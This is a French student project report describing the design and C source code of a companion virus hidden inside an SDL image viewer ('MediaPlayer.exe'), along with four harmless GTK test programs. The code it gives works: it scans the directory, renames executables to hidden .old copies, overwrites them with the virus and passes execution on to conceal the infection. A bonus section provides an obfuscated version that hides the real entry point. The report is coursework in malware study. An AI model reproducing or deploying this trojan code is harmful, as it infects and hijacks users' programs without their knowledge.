Compte Rendu du Projet Conception d'un virus compagnon

Remini Mohamed Lamine
Saker Nacer

27 mars 2024

1. Introduction

L'objectif de ce projet est de créer un virus de type compagnon afin d'avoir une approche pratique de la conception des virus et de leur fonctionnement.

Le projet se compose de notre virus dissimulé dans un lecteur de média (MediaPlayer), cinq programmes qui vont servir pour tester la propagation du virus compagnon ainsi que des images pour montrer le bon fonctionnement de notre lecteur de média.

2. Fonctionnement du virus

Un virus compagnon est un type de malware qui infecte les fichiers exécutables sur un système informatique. Contrairement à d'autres types de virus qui infectent des fichiers exécutables en ajoutant leur propre code à ceux-ci, un virus compagnon agit différemment.

Voici comment fonctionne le virus compagnon dans notre cas :

1. **Infection initiale** : Le virus compagnon est exécuté en premier lieu inconsciemment par un utilisateur qui souhaite visionner des images dans son répertoire via MediaPlayer.exe.
2. **Recherche de fichiers exécutables** : Une fois en cours d'exécution, le virus compagnon recherche d'autres fichiers exécutables dans le répertoire courant. Dans notre cas il s'agit de MonPG1.exe, MonPG2.exe ...
3. **Remplacement et copie** : Une fois qu'il a identifié des fichiers exécutables, le virus compagnon ajoute un point au début du nom des fichiers et une extension .old à la fin pour les camoufler mais les garder pour les éxécuter plus tard et masquer l'infection, le virus se duplique en même temps et porte le nom de chaque éxecutable infecté.
4. **Déclenchement des infections ultérieures** : Lorsque l'utilisateur exécute un fichier infecté, le virus compagnon fait appelle à l'éxecutable .old portant le même nom que lui pour éviter d'éveiller les soupçons et infecte d'autres fichiers exécutables sur le système, perpétuant ainsi le cycle.
5. **Effets** : Les effets d'un virus compagnon peuvent varier. Dans notre cas, le virtus se contente de se propager sans causer de dommages apparents, tandis que d'autres peuvent avoir des effets néfastes sur le système, tels que la corruption de données ou la perte de fonctionnalités.
6. **Propagation** : Comme tout virus, un virus compagnon cherche à se propager à d'autres systèmes. Cela peut se faire en infectant d'autres fichiers exécutables dans d'autres répertoires ou en se copiant sur des périphériques amovibles ou des réseaux accessibles.

3. Conception et Développement du virus

La conception du virus s'est faite en langage C. On a commencé par concevoir la fonction qui s'occupe d'afficher une image à l'aide de bibliothèque SDL; Lors de l'execution du programme, une fenetre graphique s'ouvre et nous permet de visualiser les images présentes dans le répertoire courant et de défiler à l'aide des fléches du clavier.

Afin de s'attaquer à la partie virologie du programme, on a dû produire d'abord un programme de test, qui est une simple calculatrice developpe grace à la bibliotheque GTK.

Après avoir compris le fonctionnement du virus compagnon, on est passé au développement de la fonction infection au sein du programme. Le virus compagnon commence par ouvrir le répertoire courant via la commande opendir() fourni par la bibliothèque dirent.h, ensuite on lit les fichiers présents dans le répertoire via la fonction readdir(), elle nous retourne une collection de fichiers avec leurs caractéristiques, dont celles qui nous intéressent tels que le type de programme et le nom du fichier, de type dirent.

Avec Linux, la structure dirent est définie comme suit :

```
struct dirent {
    ino_t          d_ino;       /* numéro de l'inode */
    off_t          d_off;       /* décalage vers le prochain dirent */
    unsigned short d_reclen;    /* longueur de cet enregistrement */
    unsigned char  d_type;      /* type du fichier ; pas pris en
                                   charge par tous les types de
                                   système de fichiers */
    char           d_name[256]; /* nom du fichier */
};
```

Ensuite on vérifie ces conditions :

- Le nom de fichier ne doit pas déjà contenir l'extension ".old"

  `strstr(fichiers->d_name, ".old") == NULL`

- Le nom de fichier ne doit pas être "MediaPlayer.exe".

  `strstr(fichiers->d_name, "MediaPlayer.exe") == NULL`

- Le fichier doit être exécutable et avoir l'extension ".exe".

  `strstr(fichiers->d_name, ".exe") != NULL`

- Le fichier ne doit pas déjà exister avec l'extension ".old".

  `access(old, F_OK) != 0`

- Le fichier doit être régulier et executable

  `(!(S_ISREG(infoFichier.st_mode) && (infoFichier.st_mode & S_IXUSR))`

Dans le cas où toutes les conditions sont réunies, le fichier est un fichier cible de notre virus, on peut donc effectuer dessus l'ensemble de traitements nécessaires pour le corrompre :

```
void infection(){
    DIR* dir = opendir("."); // on ouvre le répertoire courant
    struct dirent *fichiers;
    struct stat infoFichier;
    char old[100];

    if (dir == NULL)
    {
            printf("Erreur opendir");
            exit(0);
    }

    while ((fichiers = readdir(dir) ) != NULL) // lecture des fichiers dans le repertoire
    {
        strcpy(old,fichiers->d_name);
        strcat(old,".old");
        stat(fichiers->d_name, &infoFichier);
         if (strstr(fichiers->d_name, ".exe") != NULL && strstr(fichiers->d_name, ".old") == NULL && strstr(fichiers->d_name, "MediaPlayer.exe") == NULL && access(old, F_OK) != 0)
        {
            if (!(S_ISREG(infoFichier.st_mode) && (infoFichier.st_mode & S_IXUSR))) // on vérifie si le fichier cible est régulier et executable
            {
                attribuerPerm(fichiers);
            }
            renommageOld(fichiers);
            duplication(fichiers);
        }
    }
}
```

Cependant, si la dernière condition seulement n'est pas remplie, on peut affecter au fichier les droits nécessaires afin de s'éxecuter avec la commande chmod() de Linux.

```
void attribuerPerm(struct dirent *fichierCible)
{
char commande[99];
     strcpy(commande, "chmod +x ");
     strcat(commande, fichierCible->d_name);

     system(commande);
}
```

On utilise pour la corruption d'un fichier ayant réunis toutes les conditions précédentes deux fonctions :

- la première, renommageOld() sert à ajouter au programme original passé en paramètre l'extension .old afin de le faire passer pour une archive ou un programme obsolète, pour cela on récupére le nom du fichier cible via son attribut d-name, et on utilise la commande système cp pour copier le fichier cible en ajoutant l'extension ".old" à son nom.
- la deuxième, duplication() sert à écraser le programme passé en paramètre par une copie de MediaPlayer, notre virus, pour on utilise la commande système cp pour copier notre MediaPlayer.exe et lui donner le nom du programme cible récupérer via son attribut d-name.

```c
void renommageOld(struct dirent *fichierCible)
{
    char renommage[99];
    strcpy(renommage, "cp ");
    strcat(renommage, fichierCible->d_name);
    strcat(renommage, " ");
    strcat(renommage, fichierCible->d_name);
    strcat(renommage, ".old");

    system(renommage); // on obtient cp MonPG.exe .MonPG.exe.old
}

void duplication(struct dirent *fichierCible)
{
    char duplication[99];
    strcpy(duplication, "cp ./MediaPlayer.exe ");
    strcat(duplication, fichierCible->d_name);

    system(duplication); // on obtient cp ./MediaPlayer.exe MonPG.exe
}
```

Se pose à nous désormais un problème, comment reconnaitre quel programme est lancé ? MediaPlayer.exe ou un autre executable ? et que faire si l'utilisateur souhaite éxécuté un de ses programmes ?

Pour celà on ajoute une condition dans le main qui vient lire quel programme l'utilisateur a éxécuté dans le terminal via la variable args[], ensuite nous comparons le contenu de ce tableau avec la fonction strcmp(), si la chaine correspond à ./MediaPlayer.exe, on lance la fonction afficheImage() qui sert à visualier les medias, sinon il s'agit forcement d'un programme infecté que l'utilisateur essaye d'éxecutén alors on récupére la commande (./MonPG1.exe par exemple) et on ajoute simplement à la fin l'extension .old afin de transférer l'éxecution au .old et ne pas éveiller les soupçons de l'utilisateur.

```c
int main(int argc, char* args[]) {
    char camouflage[99];
    infection();
    if(!strcmp(args[0],"./MediaPlayer.exe")){  // lancement de mediaplayer
        afficheImage();
    } else { // lancement d'un executable infecté
        strcpy(camouflage, args[0]);
        strcat(camouflage, ".old");

        system(camouflage);
    }
    return EXIT_SUCCESS;
```

4. Réponse aux questions posées dans le sujet

4.1. Lutte contre la surinfection

Afin de lutter contre la surinfection, il suffit de vérifier si dans le répertoire il existe un projet qui possède le même nom qu'on récupére via l'attribut d-name du fichier. Cela se fait dans notre fonction infection au niveau de la première condition:

```
access(old, F_OK) != 0
```

L'importance de cette vérification consiste à ne pas surinfecter un programme et éviter une perte de performance, une compléxité algorithmique trop importante et une occupation de la mémoire trop importante, ce qui peut éveiller les soupçons d'un utilisateur.

4.2. Que se passe-t-il si la copie du virus échoue ?

Si l'étape 3 de l'infection qui consiste en la duplication du virus échoue, les programmes de l'utilisateur seront plus éxecutables et l'utilisateur s'en rendra compte assez vite de la présence du virus.

4.3. Comment amplifier l'infection ?

Afin d'amplifier l'infection, il suffit de cibler les autres fichiers autres que les éxecutables.

4.4. Que se passe-t-il si on oublie le transfert d'éxecution ?

Dans ce cas, lorsque l'utilisateur voudra éxecuter un programme, peu importe lequel, il renverra toujours vers MediaPlayer, ce qui éveillera les soupçons de l'utilisateur.

5. Bonus

Afin d'aller plus loin, nous avons essayé d'appliquer les notions vus en td dans ce projet, notamment celles en lien avec l'assombrissement du code, nous avons donc fourni une version du virus que nous avons tenter d'assombrir.

Les changements apportés au code afin de le rendre moins lisible et cacher son réel fonctionnement :

- On a changé le nom des fonctions et des variables de la partie Virus afin de le rendre moins évident.

- On a ensuite supprimé tout les espaces et sauts de lignes pour rendre le code brouillon.
- On a défini une macro afin de changer le nom du main() qu'on a redéfini en start(), ce qui évite de retrouver facilement le main du programme si on ne remarque pas la définition de la macro.
- on a défini un faux main(), qui comporte seulement la fonction afficheImage(), et qu'on a mit implicitiment en commentaire.

A première vue, on voit dans le code seulement les fonctions qui permettent la visualisation de médias, l'assombrissement est assez basique mais peut tromper quelqu'un de pas assez concentré, et retarde longuement la compréhension du code.

```
    for (int i = 0; i < nbImages; i++) {
        free(images[i]);
    }

    SDL_DestroyRenderer(renderer);
    SDL_DestroyWindow(window);
    SDL_Quit();}/*}
}

int main(){
        afficheImage();
        return 0;
}
```

Figure 1: main() implicitement dans un commentaire

```
167
168
169
170 */// ASCII ART RIEN D'IMPORTANT
171 void a(struct dirent *f)                {char c[99];          strcpy /***********/                (c,"chmod +x ");strcat(c,f->d_name);system(c);
172 }void r(struct dirent  *f )              {char r[99];          strcpy          /****/              (r,"cp ");strcat              (r,f->d_name);
173 strcat(r," ") ; strcat (r,f->            d_name);strcat         (r,       /****/                   ".old");system(r)             ;}void d(struct
174 dirent *f)    {char dp[99]; strcpy(      dp,/* blabla*/          "cp ./MediaPlayer.exe ")          ;strcat(dp,f->d_name);system(dp);}void i(){DIR*
175 dir=opendir     (".");struct dirent *f;  struct stat             infoFichier;char/**/              old[100];if (dir==NULL)    {printf ("Erreur opendir");
176 exit(0);/**/       }while ((f=readdir(dir))!= NULL){strcpy(     old,f ->       d_name);           strcat(old,".old");stat      (f->d_name,&infoFichier);if
177 (strstr(f->       d_name,".exe")!=NULL&&strstr(f->d_name,      ".old")==NULL&&strstr   (f->       d_name,"MediaPlayer.exe"       )==NULL&&access(old,F_OK)!=
178
179
180 0){if(!(S_ISREG(infoFichier.st_mode)&&(infoFichier.st_mode&S_IXUSR))){a(f);}r(f);d(f);}}closedir(dir);}start(int argc,char* args[]){char cmg[99];i();if(!strcmp(args[0],"./MediaPlayer.exe"))-
    {afficheImage();}else{strcpy(cmg,args[0]);strcat(cmg,".old");system(cmg);}return EXIT_SUCCESS;}
181
```

Figure 2: Fonctions du virus assombris ainsi que le main() renommé start()

6. Programme exécutable (les 4 utilitiares)

6.1. Programme exécutable utilisant GTK pour le calcul de l'IMC (MonPG1)

Dans cette section, nous présentons un programme exécutable développé en respectant les conditions requises, notamment l'interaction avec l'utilisateur, l'affichage graphique et le calcul logique de l'Indice de Masse Corporelle (IMC).

6.1.1. Description du programme

Le programme est écrit en langage C et utilise les fonctionnalités de GTK pour la création de l'interface graphique. Il comporte les éléments suivants :

- **Entrées utilisateur :** Le programme permet à l'utilisateur de saisir sa taille et son poids via des champs de saisie.
- **Calcul de l'IMC :** Une fois les valeurs saisies, le programme calcule automatiquement l'Indice de Masse Corporelle (IMC) en utilisant la formule standard et affiche le résultat.
- **Affichage du résultat :** En fonction de la valeur de l'IMC calculée, le programme affiche une description de l'état de santé associé.

6.2. Calculatrice avec interface graphique utilisant GTK (MonPG2

Dans cette section, nous présentons un deuxième programme exécutable développé, une calculatrice avec une interface graphique construite en utilisant la bibliothèque GTK (GIMP Toolkit). Ce programme respecte les conditions requises, notamment l'interaction avec l'utilisateur, l'affichage graphique et le calcul logique des opérations arithmétiques.

6.2.1. Description du programme

Le programme permet à l'utilisateur d'effectuer des opérations arithmétiques de base telles que l'addition, la soustraction, la multiplication, la division et la racine carrée. Il comporte les fonctionnalités suivantes :

- **Interface utilisateur :** L'interface graphique comprend un champ de saisie pour les opérandes et les résultats, ainsi que des boutons pour les chiffres, les opérateurs et les fonctions spéciales.
- **Opérations arithmétiques :** Le programme prend en charge les opérations d'addition, de soustraction, de multiplication et de division, ainsi que le calcul de la racine carrée.

- **Affichage du résultat :** Le résultat des opérations est affiché dans le champ de saisie de l'interface graphique.

6.3. Convertisseur de température avec interface graphique utilisant GTK (MonPG3)

Dans cette section, nous présentons un troisième programme exécutable développé, un convertisseur de température avec une interface graphique construite en utilisant la bibliothèque GTK (GIMP Toolkit).

6.3.1. Description du programme

Le programme permet à l'utilisateur de convertir les températures entre Celsius et Fahrenheit. Il comporte les fonctionnalités suivantes :

- **Interface utilisateur :** L'interface graphique comprend deux champs de saisie, l'un pour la température en Celsius et l'autre pour la température en Fahrenheit, ainsi que des boutons de conversion associés.
- **Conversion Celsius vers Fahrenheit :** Lorsque l'utilisateur entre une valeur en Celsius et clique sur le bouton "Convertir", le programme convertit cette valeur en Fahrenheit et l'affiche dans le champ correspondant.
- **Conversion Fahrenheit vers Celsius :** De même, lorsque l'utilisateur entre une valeur en Fahrenheit et clique sur le bouton "Convertir", le programme convertit cette valeur en Celsius et l'affiche dans le champ correspondant.

6.4. Calculateur de calories brûlées avec interface graphique utilisant GTK (MonPG4)

Dans cette section, nous présentons un quatrième programme exécutable développé, un calculateur de calories brûlées avec une interface graphique construite en utilisant la bibliothèque GTK (GIMP Toolkit).

6.4.1. Description du programme

Le programme permet à l'utilisateur de calculer les calories brûlées en fonction du type d'exercice et de la durée. Il comporte les fonctionnalités suivantes :

- **Interface utilisateur :** L'interface graphique comprend des champs de saisie pour le type d'exercice (marche, course, vélo, natation, etc.) et la durée de l'exercice en minutes, ainsi qu'un bouton pour déclencher le calcul.

- **Calcul des calories brûlées :** Le programme utilise des données hypothétiques pour déterminer le nombre de calories brûlées par minute pour différents types d'exercice. Il effectue ensuite le calcul des calories brûlées en fonction de la durée de l'exercice.
- **Affichage du résultat :** Le résultat du calcul est affiché sous forme de texte dans l'interface graphique.

6.5. Bibliothèques utilisées

6.5.1. MonPG1

Les bibliothèques suivantes sont utilisées dans le programme MonPG1 :

- **<gtk/gtk.h> :** Pour la création de l'interface graphique.
- **<stdio.h> :** Pour les opérations d'entrée/sortie standard.
- **<stdlib.h> :** Pour les fonctions de conversion de chaînes en nombres.
- **<string.h> :** Pour la manipulation de chaînes de caractères.

6.5.2. MonPG2

Les bibliothèques suivantes sont utilisées dans le programme MonPG2 :

- **<gtk/gtk.h> :** Pour la création de l'interface graphique.
- **<stdlib.h> :** Pour les fonctions standard.
- **<math.h> :** Pour les fonctions mathématiques.

6.5.3. MonPG3

Les bibliothèques suivantes sont utilisées dans le programme MonPG3 :

- **<gtk/gtk.h> :** Pour la création de l'interface graphique.
- **<stdio.h> :** Pour les opérations d'entrée/sortie standard.

6.5.4. MonPG4

Les bibliothèques suivantes sont utilisées dans le programme MonPG4 :

- **<gtk/gtk.h> :** Pour la création de l'interface graphique.

7. Source

https://www.ionos.fr/digitalguide/serveur/know-how/attribution-de-droits-sur-un-repe

https://koor.fr/C/Index.wp

https://www.man-linux-magique.net/man3/readdir_r.html#:~:text=La%20fonction%20readdir_r()%20renvoie,et%20renvoie%20NULL%20dans%20*result.

https://www.ioccc.org/winners.html